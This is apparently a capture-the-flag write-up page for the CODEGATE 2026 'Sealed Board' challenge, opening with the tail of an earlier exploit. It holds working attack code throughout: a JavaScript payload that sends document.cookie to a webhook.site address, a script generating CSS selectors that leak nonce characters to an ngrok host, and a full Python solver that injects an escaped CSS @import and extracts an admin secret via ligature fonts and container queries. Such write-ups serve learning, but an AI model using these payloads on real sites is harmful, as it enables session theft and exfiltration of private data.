            w.location = TARGET +`#<form><input name="childNodes"><input name="childNodes"><iframe srcdoc="<script nonce=${nonce.nonce}>fetch(\`https://webhook.site/ff33c67d-c541-4203-b0a9-514187c18663?$\{document.cookie\}\`)<\/script>"></iframe></form>`
        })();

    </script>
</html>
gencss.py
#!/usr/bin/env python3

import itertools

URL = "http://8.tcp.ngrok.io:15484"

TEMPLATE_START = '''*{display:block} script[nonce^="%s"]{
    --props_%s: url(%s?START=%s);
}
'''

TEMPLATE_MATCH = '''*{display:block} script[nonce*="%s"]{
    --prop_%s: url(%s?MATCH=%s);
}
'''

TEMPLATE_END = '''*{display:block} script[nonce$="%s"]{
    --prope_%s: url(%s?END=%s);
}
'''

TEMPLATE_META =  '''*{display:block} meta[content*="%s"]{
    --prop_%s: url(%s?MATCH=%s);
}
'''

TEMPLATE_BACKGROUND_SCRIPT = '''*{display:block} script[nonce]{
    background: %s;
}
'''

TEMPLATE_BACKGROUND_META = '''*{display:block} meta[content]{
    background: %s;
}
'''

CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"

CSS_DIR = "static/css"

all_css = ""
props = []

for cs in itertools.product(CHARSET, repeat=2):
    s = "".join(cs)
    all_css += TEMPLATE_START % (s, s, URL, s)
    all_css += TEMPLATE_END % (s, s, URL, s)
    props.append(f"var(--props_{s},none)")
    props.append(f"var(--prope_{s},none)")

all_css2 = ""
props_2 = []

for i, cs in enumerate(itertools.product(CHARSET, repeat=3)):
    s = "".join(cs)
    if i <= 22000:
        all_css += TEMPLATE_MATCH % (s, s, URL, s)
        props.append(f"var(--prop_{s},none)")
    else:
        all_css2 += TEMPLATE_META % (s, s, URL, s)
        props_2.append(f"var(--prop_{s},none)")

with open(f'{CSS_DIR}/first.css', 'wt') as fp:
    fp.write(all_css)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props)))

with open(f'{CSS_DIR}/second.css', 'wt') as fp:
    fp.write(all_css2)
    fp.write(TEMPLATE_BACKGROUND_META % (",".join(props_2)))

Sequential ligature CSS leak via content-visibility bypass

Event NameCODEGATE Quals 2026
GitHub URL-
Challenge NameSealed Board
Attachments
References

  • Root cause: escaped CSS @import survives the remote-style filter, and the admin-only #flag can be restored by the protection loop while still influencing layout.
  • Final exploit chain: escaped @import -> #page hidden with content-visibility so checkVisibility() stays false -> ligature font turns known_prefix + next_char into a unique width -> fixed-width grid turns that width into a .hero-card container width -> matching container query loads /hit?...&c=<char> -> repeat against /post/<id> until }.
  • Environment / timing caveat: validated against the local Firefox admin bot. Font loading, content-visibility transition, and layout are race-sensitive, so per-phase retries are kept in the solver.
  • Resume note: recovery is incremental per character. There is no on-disk checkpoint, but rerunning from a partial leak only needs changing KNOWN_PREFIX.
  • why it is vulnerable
    <!-- index.html: the admin secret is inserted into normal page layout -->
    <main id="page" class="page">
      <article class="hero-card">...</article>
      <section class="feed">...</section>
      {% if is_admin %}
      <div id="flag" data-protected-flag="1">{{ flag }}</div>
      {% endif %}
    </main>
    // app.js: only blocks literal remote style references.
    // Escaped forms like http\3a \2f \2f ... are not matched.
    const hasRemoteStyleReference = (cssText) => {
      const normalized = stripCssComments(cssText);
      return /\b(?:https?|data)\s*:/i.test(normalized) || normalized.includes("//");
    };
    // app.js: the protection loop clears the flag, but restores it whenever
    // the node is hidden while still present instead of removing it.
    const f = document.getElementById("flag");
    const t = f.innerText;
    f.innerText = "";
    f.style.display = "none";
    
    setInterval(() => {
      if (f.style.display == "none") return;   // attacker must not keep display:none
      if (f.style.display == "contents") {
        f.remove();
        return;
      }
      if (f.checkVisibility()) {                // visible => remove
        f.remove();
        return;
      }
      f.innerText = t;                          // hidden but not visible => restore text
    }, 50);
    exploit payload
    <style>@import "http\3a \2f \2f ATTACKER\3a 18820\2f style.css"</style>
    @keyframes cv {
      0%, 65% { content-visibility: hidden; }
      66%, 100% { content-visibility: visible; }
    }
    
    html, body { margin: 0 !important; padding: 0 !important; overflow: hidden !important; }
    body > * { display: none !important; }
    
    #page {
      display: grid !important;
      grid-template-columns: 1fr auto !important;
      width: 390px !important;
      height: 1px !important;
      overflow: hidden !important;
      animation: cv 2.5s step-end forwards !important;
    }
    
    body::after {
      content: "x" !important;
      display: block !important;
      font-family: lig, blk !important;
      font-size: 1px !important;
      position: fixed !important;
      left: -9999px !important;
    }
    
    #page > .hero-card {
      display: block !important;
      container-type: inline-size !important;
      container-name: leak !important;
      height: 0 !important;
      overflow: hidden !important;
    }
    
    #page > #flag {
      display: inline-block !important;
      font-family: lig, blk !important;
      font-size: 10px !important;
      white-space: nowrap !important;
      line-height: 1 !important;
      font-feature-settings: "liga" on, "calt" on !important;
    }
    
    @font-face {
      font-family: lig;
      src: url("http://ATTACKER/font.ttf?phase=0") format("truetype");
      font-display: swap;
    }
    
    @font-face {
      font-family: blk;
      src: url("http://ATTACKER/blank.ttf?phase=0") format("truetype");
      font-display: swap;
    }
    
    /* Example width bucket for candidate 'f' */
    @container leak (min-width: 324px) and (max-width: 332px) {
      .hero-card::before {
        background-image: url("http://ATTACKER/hit?phase=0&c=f") !important;
      }
    }
    solver
    docker restart sealed_board-web-1 sealed_board-adminbot-1 >/dev/null
    
    COLLECTOR_PORT=18820 \
    COLLECTOR_PUBLIC_URL=http://172.0.18.1:18820/ \
    COLLECTOR_BROWSER_URL=http://172.0.18.1:18820/ \
    LEAK_CHARSET=0 \
    FULL_CANDIDATES='abcdefghijklmnopqrstuvwxyz0123456789_}' \
    python3 solver.py
    
    # validated local output
    # [FLAG] codegate2026{f
    # [FLAG] codegate2026{fa
    # [FLAG] codegate2026{fak
    # ...
    # [RESULT] codegate2026{fake_flag}
    #!/usr/bin/env python3
    import collections
    import http.cookiejar
    import http.server
    import io
    import json
    import os
    import pathlib
    import secrets
    import string
    import subprocess
    import threading
    import time
    import urllib.parse
    import urllib.request
    
    from fontTools.feaLib.builder import addOpenTypeFeaturesFromString
    from fontTools.fontBuilder import FontBuilder
    from fontTools.pens.ttGlyphPen import TTGlyphPen
    
    
    def normalize_base_url(raw_url):
        return raw_url.rstrip("/") + "/"
    
    
    def is_loopback_host(hostname):
        return (hostname or "").strip("[]").lower() in {"127.0.0.1", "localhost", "::1"}
    
    
    def replace_url_host(base_url, hostname):
        parsed = urllib.parse.urlparse(base_url)
        port = parsed.port
        netloc = hostname if port is None else f"{hostname}:{port}"
        return normalize_base_url(
            urllib.parse.urlunparse(parsed._replace(netloc=netloc))
        )
    
    
    def detect_docker_bridge_gateway():
        network_name = os.getenv(
            "DOCKER_NETWORK_NAME",
            f"{pathlib.Path(__file__).resolve().parent.name}_default",
        )
        try:
            proc = subprocess.run(
                [
                    "docker",
                    "network",
                    "inspect",
                    network_name,
                    "--format",
                    "{{(index .IPAM.Config 0).Gateway}}",
                ],
                capture_output=True,
                check=True,
                text=True,
                timeout=5,
            )
        except (FileNotFoundError, subprocess.SubprocessError):
            return None, network_name
    
        gateway = proc.stdout.strip()
        if not gateway or gateway == "<no value>":
            return None, network_name
        return gateway, network_name
    
    
    TARGET_URL = os.getenv("TARGET_URL", "http://127.0.0.1:5000").rstrip("/")
    VISIT_URL = os.getenv("VISIT_URL", "http://127.0.0.1:5001/visit")
    COLLECTOR_BIND = os.getenv("COLLECTOR_BIND", "0.0.0.0")
    COLLECTOR_PORT = int(os.getenv("COLLECTOR_PORT", "18800"))
    COLLECTOR_PUBLIC_URL = normalize_base_url(
        os.getenv("COLLECTOR_PUBLIC_URL", f"http://127.0.0.1:{COLLECTOR_PORT}/")
    )
    _collector_browser_env = os.getenv("COLLECTOR_BROWSER_URL")
    if _collector_browser_env:
        COLLECTOR_BROWSER_URL = normalize_base_url(_collector_browser_env)
        COLLECTOR_BROWSER_URL_SOURCE = "env"
        DETECTED_DOCKER_GATEWAY = None
        DETECTED_DOCKER_NETWORK = None
    else:
        parsed_public = urllib.parse.urlparse(COLLECTOR_PUBLIC_URL)
        if is_loopback_host(parsed_public.hostname):
            DETECTED_DOCKER_GATEWAY, DETECTED_DOCKER_NETWORK = detect_docker_bridge_gateway()
            if DETECTED_DOCKER_GATEWAY:
                COLLECTOR_BROWSER_URL = replace_url_host(
                    COLLECTOR_PUBLIC_URL, DETECTED_DOCKER_GATEWAY
                )
                COLLECTOR_BROWSER_URL_SOURCE = "auto-docker-gateway"
            else:
                COLLECTOR_BROWSER_URL = COLLECTOR_PUBLIC_URL
                COLLECTOR_BROWSER_URL_SOURCE = "public"
        else:
            DETECTED_DOCKER_GATEWAY = None
            DETECTED_DOCKER_NETWORK = None
            COLLECTOR_BROWSER_URL = COLLECTOR_PUBLIC_URL
            COLLECTOR_BROWSER_URL_SOURCE = "public"
    
    CHARSET_CANDIDATES = os.getenv(
        "CHARSET_CANDIDATES",
        string.ascii_lowercase + string.ascii_uppercase + string.digits + "_}",
    )
    FULL_CANDIDATES = os.getenv(
        "FULL_CANDIDATES",
        string.ascii_lowercase + string.ascii_uppercase + string.digits + "_}",
    )
    KNOWN_PREFIX = os.getenv("KNOWN_PREFIX", "codegate2026{")
    LEAK_CHARSET = os.getenv("LEAK_CHARSET", "1").lower() not in {
        "0",
        "false",
        "no",
        "off",
    }
    MAX_STEPS = int(os.getenv("MAX_STEPS", "64"))
    POST_VISIT_WAIT_SEC = float(os.getenv("POST_VISIT_WAIT_SEC", "1.0"))
    PHASE_RETRIES = int(os.getenv("PHASE_RETRIES", "5"))
    RETRY_SLEEP_SEC = float(os.getenv("RETRY_SLEEP_SEC", "0.5"))
    
    FONT_SIZE_PX = int(os.getenv("FONT_SIZE_PX", "10"))
    WIDTH_MARGIN_PX = int(os.getenv("WIDTH_MARGIN_PX", "4"))
    UPM = 1000
    
    
    def log(msg):
        print(msg, flush=True)
    
    
    def validate_runtime_config():
        public_host = urllib.parse.urlparse(COLLECTOR_PUBLIC_URL).hostname
        browser_host = urllib.parse.urlparse(COLLECTOR_BROWSER_URL).hostname
    
        log(f"[*] Collector public URL:  {COLLECTOR_PUBLIC_URL}")
        log(
            f"[*] Collector browser URL: {COLLECTOR_BROWSER_URL}"
            f" [{COLLECTOR_BROWSER_URL_SOURCE}]"
        )
        if DETECTED_DOCKER_GATEWAY:
            log(
                f"[*] Auto-detected Docker gateway {DETECTED_DOCKER_GATEWAY}"
                f" on network {DETECTED_DOCKER_NETWORK}"
            )
    
        if is_loopback_host(browser_host):
            raise SystemExit(
                "COLLECTOR_BROWSER_URL resolves to loopback. "
                "The adminbot runs in Docker and cannot fetch callbacks from "
                f"{COLLECTOR_BROWSER_URL}. Set COLLECTOR_BROWSER_URL or "
                f"COLLECTOR_PUBLIC_URL to the Docker bridge gateway "
                f"(for this stack usually http://172.0.18.1:{COLLECTOR_PORT}/)."
            )
    
        if is_loopback_host(public_host) and not is_loopback_host(browser_host):
            log(
                "[*] Local operator URL stays on loopback, but bot callbacks will use "
                f"{browser_host}."
            )
    
    
    def css_escape_url(url):
        return (
            url.replace(":", "\\3a ")
            .replace("/", "\\2f ")
            .replace("?", "\\3f ")
            .replace("=", "\\3d ")
            .replace("&", "\\26 ")
        )
    
    
    def ordered_unique(text):
        seen = set()
        out = []
        for ch in text:
            if ch in seen:
                continue
            seen.add(ch)
            out.append(ch)
        return out
    
    
    def build_minimal_font():
        fb = FontBuilder(UPM, isTTF=True)
        fb.setupGlyphOrder([".notdef"])
        fb.setupCharacterMap({})
        fb.setupGlyf({".notdef": TTGlyphPen(None).glyph()})
        fb.setupHorizontalMetrics({".notdef": (500, 0)})
        fb.setupHorizontalHeader(ascent=800, descent=-200)
        fb.setupOS2(
            sTypoAscender=800,
            sTypoDescender=-200,
            usWinAscent=800,
            usWinDescent=200,
        )
        fb.setupNameTable({"familyName": "Probe", "styleName": "Regular"})
        fb.setupPost()
        fb.setupMaxp()
        buf = io.BytesIO()
        fb.save(buf)
        return buf.getvalue()
    
    
    def build_blank_font():
        glyph_order = [".notdef"] + [f"b_{cp:02x}" for cp in range(32, 127)]
        fb = FontBuilder(UPM, isTTF=True)
        fb.setupGlyphOrder(glyph_order)
        fb.setupCharacterMap({cp: f"b_{cp:02x}" for cp in range(32, 127)})
        fb.setupGlyf({name: TTGlyphPen(None).glyph() for name in glyph_order})
        fb.setupHorizontalMetrics({name: (0, 0) for name in glyph_order})
        fb.setupHorizontalHeader(ascent=800, descent=-200)
        fb.setupOS2(
            sTypoAscender=800,
            sTypoDescender=-200,
            usWinAscent=800,
            usWinDescent=200,
        )
        fb.setupNameTable({"familyName": "Blank", "styleName": "Regular"})
        fb.setupPost()
        fb.setupMaxp()
        buf = io.BytesIO()
        fb.font.save(buf)
        return buf.getvalue()
    
    
    def build_charset_css(token, candidates):
        family = f"C{token[:8]}"
        lines = []
        for ch in candidates:
            cp = ord(ch)
            src_url = (
                f"{COLLECTOR_BROWSER_URL}probe?"
                f"token={urllib.parse.quote(token)}&"
                f"c={urllib.parse.quote(ch, safe='')}"
            )
            lines.extend(
                [
                    "@font-face {",
                    f'  font-family: "{family}";',
                    f'  src: url("{src_url}") format("truetype");',
                    f"  unicode-range: U+{cp:04X};",
                    "}",
                ]
            )
        lines.extend(
            [
                "#page {",
                "  content-visibility: hidden !important;",
                "}",
                "#flag {",
                "  display: block !important;",
                "  visibility: hidden !important;",
                "  position: fixed !important;",
                "  top: -9999px !important;",
                "  white-space: nowrap !important;",
                "  font-size: 100px !important;",
                f'  font-family: "{family}" !important;',
                "}",
            ]
        )
        return "\n".join(lines)
    
    
    def build_ligature_font(prefix, candidates):
        if not candidates:
            raise ValueError("empty candidate set")
    
        glyph_order = [".notdef"]
        glyph_order.extend(f"g_{cp:02x}" for cp in range(32, 127))
        glyph_order.append("mk")
        glyph_order.extend(f"w{i}" for i in range(len(candidates)))
    
        fb = FontBuilder(UPM, isTTF=True)
        fb.setupGlyphOrder(glyph_order)
        fb.setupGlyf({name: TTGlyphPen(None).glyph() for name in glyph_order})
    
        metrics = {name: (0, 0) for name in glyph_order}
        metrics[".notdef"] = (500, 0)
        prefix_glyphs = " ".join(f"g_{ord(ch):02x}" for ch in prefix)
        feature_rules = [f"lookup pfx {{ sub {prefix_glyphs} by mk; }} pfx;"]
        det_rules = []
        for idx, ch in enumerate(candidates):
            metrics[f"w{idx}"] = ((idx + 1) * UPM, 0)
            det_rules.append(f"    sub mk g_{ord(ch):02x} by w{idx};")
    
        fb.setupHorizontalMetrics(metrics)
        fb.setupHorizontalHeader(ascent=800, descent=-200)
        fb.setupCharacterMap({cp: f"g_{cp:02x}" for cp in range(32, 127)})
        fb.setupOS2(
            sTypoAscender=800,
            sTypoDescender=-200,
            usWinAscent=800,
            usWinDescent=200,
        )
        fb.setupNameTable({"familyName": "Probe", "styleName": "Regular"})
        fb.setupPost()
        fb.setupMaxp()
    
        font = fb.font
        feature_text = (
            "feature liga {\n"
            + "\n".join(feature_rules)
            + "\n"
            + "  lookup det {\n"
            + "\n".join(det_rules)
            + "\n  } det;\n"
            + "} liga;\n"
        )
        addOpenTypeFeaturesFromString(font, feature_text)
    
        buf = io.BytesIO()
        font.save(buf)
        return buf.getvalue()
    
    
    def build_recovery_css(token, phase, candidates):
        total_width = (len(candidates) + 1) * FONT_SIZE_PX
        lines = [
            "html, body {",
            "  margin: 0 !important;",
            "  padding: 0 !important;",
            "  overflow: hidden !important;",
            "}",
            "body > * {",
            "  display: none !important;",
            "}",
            "@keyframes cv {",
            "  0%, 65% { content-visibility: hidden; }",
            "  66%, 100% { content-visibility: visible; }",
            "}",
            "#page {",
            "  display: grid !important;",
            "  grid-template-columns: 1fr auto !important;",
            f"  width: {total_width}px !important;",
            "  overflow: hidden !important;",
            "  height: 1px !important;",
            "  padding: 0 !important;",
            "  margin: 0 !important;",
            "  animation: cv 2.5s step-end forwards !important;",
            "}",
            "body::after {",
            '  content: "x" !important;',
            "  display: block !important;",
            "  font-family: lig, blk !important;",
            "  font-size: 1px !important;",
            "  position: fixed !important;",
            "  left: -9999px !important;",
            "}",
            "#page > * {",
            "  display: none !important;",
            "}",
            "#page > .hero-card {",
            "  display: block !important;",
            "  container-type: inline-size !important;",
            "  container-name: leak !important;",
            "  overflow: hidden !important;",
            "  height: 0 !important;",
            "  padding: 0 !important;",
            "  margin: 0 !important;",
            "}",
            ".hero-card > * {",
            "  display: none !important;",
            "}",
            ".hero-card::before {",
            '  content: "" !important;',
            "  display: block !important;",
            "}",
            "#page > #flag {",
            "  display: inline-block !important;",
            "  font-family: lig, blk !important;",
            f"  font-size: {FONT_SIZE_PX}px !important;",
            "  white-space: nowrap !important;",
            "  padding: 0 !important;",
            "  margin: 0 !important;",
            "  border: 0 !important;",
            "  line-height: 1 !important;",
            "  letter-spacing: 0 !important;",
            "  word-spacing: 0 !important;",
            '  font-feature-settings: "liga" on, "calt" on !important;',
            "  text-rendering: optimizeLegibility !important;",
            "}",
            "@font-face {",
            "  font-family: lig;",
            f'  src: url("{COLLECTOR_BROWSER_URL}font.ttf?token={urllib.parse.quote(token)}&phase={urllib.parse.quote(phase)}") format("truetype");',
            "  font-display: swap;",
            "}",
            "@font-face {",
            "  font-family: blk;",
            f'  src: url("{COLLECTOR_BROWSER_URL}blank.ttf?token={urllib.parse.quote(token)}&phase={urllib.parse.quote(phase)}") format("truetype");',
            "  font-display: swap;",
            "}",
        ]
    
        for idx, ch in enumerate(candidates):
            char_width = (idx + 1) * FONT_SIZE_PX
            hero_width = total_width - char_width
            lower = hero_width - WIDTH_MARGIN_PX
            upper = hero_width + WIDTH_MARGIN_PX
            hit_url = (
                f"{COLLECTOR_BROWSER_URL}hit?"
                f"token={urllib.parse.quote(token)}&"
                f"phase={urllib.parse.quote(phase)}&"
                f"c={urllib.parse.quote(ch, safe='')}"
            )
            lines.extend(
                [
                    f"@container leak (min-width: {lower}px) and (max-width: {upper}px) {{",
                    "  .hero-card::before {",
                    f'    background-image: url("{hit_url}") !important;',
                    "  }",
                    "}",
                ]
            )
    
        return "\n".join(lines)
    
    
    class State:
        def __init__(self):
            self.lock = threading.Lock()
            self.css_data = b""
            self.minimal_font = build_minimal_font()
            self.blank_font = build_blank_font()
            self.inline_font_data = self.minimal_font
            self.charset_hits = set()
            self.phase_hits = collections.defaultdict(set)
    
    
    STATE = State()
    
    
    class Handler(http.server.BaseHTTPRequestHandler):
        def _send(self, body, ct, code=200):
            self.send_response(code)
            self.send_header("Content-Type", ct)
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Cache-Control", "no-store")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(body)
    
        def do_GET(self):
            parsed = urllib.parse.urlparse(self.path)
            qs = urllib.parse.parse_qs(parsed.query)
            log(f"[HTTP] {self.command} {self.path}")
    
            if parsed.path == "/style.css":
                with STATE.lock:
                    body = STATE.css_data
                log(f"  -> serving CSS ({len(body)} bytes)")
                self._send(body, "text/css; charset=utf-8")
                return
    
            if parsed.path == "/probe":
                ch = qs.get("c", [""])[0]
                with STATE.lock:
                    STATE.charset_hits.add(ch)
                log(f"  >>> CHARSET HIT: {ch!r}")
                self._send(STATE.minimal_font, "font/ttf")
                return
    
            if parsed.path == "/font.ttf":
                with STATE.lock:
                    body = STATE.inline_font_data
                log(f"  -> serving inline font ({len(body)} bytes)")
                self._send(body, "font/ttf")
                return
    
            if parsed.path == "/blank.ttf":
                log(f"  -> serving blank font ({len(STATE.blank_font)} bytes)")
                self._send(STATE.blank_font, "font/ttf")
                return
    
            if parsed.path == "/hit":
                phase = qs.get("phase", [""])[0]
                ch = qs.get("c", [""])[0]
                with STATE.lock:
                    STATE.phase_hits[phase].add(ch)
                log(f"  >>> PHASE {phase} HIT: {ch!r}")
                self._send(b"ok", "text/plain")
                return
    
            self._send(b"alive", "text/plain")
    
        def log_message(self, *_):
            pass
    
    
    class Client:
        def __init__(self):
            self.jar = http.cookiejar.CookieJar()
            self.opener = urllib.request.build_opener(
                urllib.request.HTTPCookieProcessor(self.jar)
            )
    
        def _json(self, url, method="GET", payload=None):
            body = None
            headers = {}
            if payload is not None:
                body = json.dumps(payload).encode()
                headers["Content-Type"] = "application/json"
            req = urllib.request.Request(url, data=body, method=method, headers=headers)
            with self.opener.open(req, timeout=30) as resp:
                return json.loads(resp.read().decode())
    
        def register(self, username, password):
            return self._json(
                f"{TARGET_URL}/register",
                "POST",
                {"username": username, "password": password},
            )
    
        def add_post(self, text):
            return self._json(f"{TARGET_URL}/post", "POST", {"post": text})
    
    
    def trigger_visit(path):
        body = json.dumps({"url": path}).encode()
        req = urllib.request.Request(
            VISIT_URL,
            data=body,
            headers={"Content-Type": "application/json"},
            method="POST",
        )
        while True:
            try:
                with urllib.request.urlopen(req, timeout=30) as resp:
                    return json.loads(resp.read().decode())["job_id"]
            except urllib.error.HTTPError as exc:
                if exc.code == 429:
                    time.sleep(5)
                    continue
                raise
    
    
    def wait_visit(job_id):
        url = f"{VISIT_URL.rstrip('/')}/{job_id}"
        deadline = time.time() + 40
        while time.time() < deadline:
            with urllib.request.urlopen(url, timeout=20) as resp:
                payload = json.loads(resp.read().decode())
            if payload.get("status") in {"ok", "error"}:
                log(f"[visit] done: {payload}")
                return payload
            time.sleep(0.5)
        raise TimeoutError(f"visit {job_id} did not finish in time")
    
    
    def set_css(css_text):
        with STATE.lock:
            STATE.css_data = css_text.encode()
    
    
    def run_charset_probe(visit_path, token):
        log("[*] Running one-visit charset probe")
        with STATE.lock:
            STATE.charset_hits.clear()
        with STATE.lock:
            STATE.inline_font_data = STATE.minimal_font
        set_css(build_charset_css(token, CHARSET_CANDIDATES))
        job_id = trigger_visit(visit_path)
        log(f"[*] charset visit triggered: {job_id}")
        wait_visit(job_id)
        time.sleep(POST_VISIT_WAIT_SEC)
        with STATE.lock:
            hits = set(STATE.charset_hits)
    
        ordered_hits = [ch for ch in CHARSET_CANDIDATES if ch in hits]
        lc = "".join(ch for ch in ordered_hits if ch.islower())
        uc = "".join(ch for ch in ordered_hits if ch.isupper())
        dg = "".join(ch for ch in ordered_hits if ch.isdigit())
        sp = "".join(ch for ch in ordered_hits if not ch.isalnum())
        log(f"[CHARSET] {len(hits)} chars detected")
        log(f"  lowercase: {lc}")
        log(f"  UPPERCASE: {uc}")
        log(f"  digits:    {dg}")
        log(f"  special:   {sp}")
        return hits
    
    
    def recover_next_char(visit_path, token, phase, prefix, candidates):
        phase_key = str(phase)
        log(f"[*] Phase {phase}: probing next char after {prefix!r}")
    
        font_data = build_ligature_font(prefix, candidates)
        css_text = build_recovery_css(token, phase_key, candidates)
        last_hits = set()
    
        for attempt in range(1, PHASE_RETRIES + 1):
            with STATE.lock:
                STATE.inline_font_data = font_data
                STATE.phase_hits[phase_key].clear()
            set_css(css_text)
    
            job_id = trigger_visit(visit_path)
            log(f"[*] recovery visit triggered: {job_id} (attempt {attempt}/{PHASE_RETRIES})")
            wait_visit(job_id)
            time.sleep(POST_VISIT_WAIT_SEC)
            with STATE.lock:
                hits = set(STATE.phase_hits[phase_key])
            last_hits = hits
    
            if len(hits) == 1:
                for ch in candidates:
                    if ch in hits:
                        return ch
                raise RuntimeError(f"phase {phase} hit set became inconsistent: {hits}")
    
            ordered_hits = [ch for ch in candidates if ch in hits]
            log(
                f"[!] Phase {phase} attempt {attempt} got "
                f"{ordered_hits or sorted(hits) or 'no hits'}"
            )
            if attempt < PHASE_RETRIES and RETRY_SLEEP_SEC > 0:
                time.sleep(RETRY_SLEEP_SEC)
    
        ordered_hits = [ch for ch in candidates if ch in last_hits]
        raise RuntimeError(
            f"phase {phase} expected exactly one hit after {PHASE_RETRIES} attempts, "
            f"got {ordered_hits or sorted(last_hits)}"
        )
    
    
    def recover_flag(visit_path, token, candidates):
        prefix = KNOWN_PREFIX
        if prefix.endswith("}"):
            return prefix
    
        for phase in range(MAX_STEPS):
            ch = recover_next_char(visit_path, token, phase, prefix, candidates)
            prefix += ch
            log(f"[FLAG] {prefix}")
            if ch == "}":
                return prefix
        raise RuntimeError(f"flag recovery exceeded MAX_STEPS={MAX_STEPS}")
    
    
    if __name__ == "__main__":
        if FONT_SIZE_PX <= 0 or WIDTH_MARGIN_PX <= 0:
            raise SystemExit("FONT_SIZE_PX and WIDTH_MARGIN_PX must be > 0")
    
        validate_runtime_config()
    
        token = secrets.token_hex(8)
        server = http.server.ThreadingHTTPServer((COLLECTOR_BIND, COLLECTOR_PORT), Handler)
        server_thread = threading.Thread(target=server.serve_forever, daemon=True)
        server_thread.start()
        log(f"[*] Listening on :{COLLECTOR_PORT}")
    
        client = Client()
        user = f"probe_{secrets.token_hex(4)}"
        password = f"pw_{secrets.token_hex(8)}"
        log(f"[*] register: {client.register(user, password)}")
    
        import_url = css_escape_url(f"{COLLECTOR_BROWSER_URL}style.css")
        post_html = f'<style>@import "{import_url}"</style>'
        log(f"[*] Post payload ({len(post_html)} chars): {post_html}")
        post_resp = client.add_post(post_html)
        log(f"[*] post: {post_resp}")
        post_id = post_resp["post"]["id"]
        visit_path = f"/post/{post_id}"
    
        try:
            if LEAK_CHARSET:
                charset_hits = run_charset_probe(visit_path, token)
                ordered_candidates = [
                    ch for ch in FULL_CANDIDATES if ch in charset_hits or ch == "}"
                ]
                if not ordered_candidates:
                    ordered_candidates = ordered_unique(FULL_CANDIDATES)
            else:
                ordered_candidates = ordered_unique(FULL_CANDIDATES)
    
            if "}" not in ordered_candidates:
                ordered_candidates.append("}")
    
            log(f"[*] Recovery candidates ({len(ordered_candidates)}): {''.join(ordered_candidates)}")
            flag = recover_flag(visit_path, token, ordered_candidates)
            log(f"[RESULT] {flag}")
        finally:
            server.shutdown()
            server.server_close()
            server_thread.join(timeout=1)
    

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.